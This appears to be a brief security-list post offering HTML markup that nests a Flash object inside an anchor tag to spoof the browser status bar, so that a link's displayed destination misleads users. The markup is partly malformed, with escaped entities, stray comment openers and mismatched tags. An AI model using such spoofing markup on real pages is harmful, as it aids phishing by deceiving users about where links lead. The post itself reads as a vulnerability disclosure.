Here is another way of spoofing the status bar:


<a> tag + &lt;object&gt; tag



<!--A HREF=http://www.yahoo.com><!--OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
 codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0";
 WIDTH="300" HEIGHT="50" id="link" ALIGN="">
 <PARAM NAME=movie VALUE="link.swf"> <PARAM NAME=quality VALUE=high > <PARAM NAME=bgcolor VALUE=#FFFFFF> <PARAM 
NAME=menu  
VALU=FALSE>
  &lt;EMBED src="link.swf" quality=high bgcolor=#FFFFFF  WIDTH="300" HEIGHT="50" NAME="link" ALIGN=""
 TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer";>&lt;/EMBED&gt;
</a>&lt;/OBJECT&gt;</a>
